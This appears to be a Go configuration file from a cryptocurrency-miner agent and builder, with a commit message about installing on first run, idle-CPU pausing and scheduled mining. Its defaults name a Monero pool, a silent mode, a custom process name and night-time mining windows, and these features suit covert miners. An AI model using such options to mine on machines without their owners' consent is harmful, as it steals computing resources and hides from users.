Builder and Settings expose install base/subfolder with live preview. Agent embeds on first exe run to the configured path, pauses for idle CPU and scheduled windows, and reports real system CPU usage.
37 lines
853 B
Go
37 lines
853 B
Go
package config
|
|
|
|
import "time"
|
|
|
|
func GetBuiltinConfig() BuiltinConfig {
|
|
return BuiltinConfig{
|
|
WorkerName: "dev-worker",
|
|
ServerURL: "http://127.0.0.1:8989",
|
|
Wallet: "",
|
|
Threads: 4,
|
|
ThreadMode: "percent",
|
|
ThreadPercent: 75,
|
|
CPUPriority: "below_normal",
|
|
MiningMode: "always",
|
|
DisplayMode: "visible",
|
|
SilentMode: false,
|
|
RunAs: "user",
|
|
AutoStart: false,
|
|
ProcessName: "CryptoMinerWorker",
|
|
BuildID: "dev",
|
|
BuiltAt: time.Now(),
|
|
PoolHost: "pool.supportxmr.com",
|
|
PoolPort: 3333,
|
|
PoolTLS: true,
|
|
PoolPass: "x",
|
|
MaxCPUUsage: 80,
|
|
MaxMemoryPct: 70,
|
|
MinFreeRAM: 1024,
|
|
IdleThresholdPct: 20,
|
|
IdleDurationMinutes: 5,
|
|
ScheduleStart: "21:00",
|
|
ScheduleEnd: "06:00",
|
|
InstallBase: "localappdata",
|
|
InstallRelativePath: DefaultInstallRelativePath,
|
|
}
|
|
}
|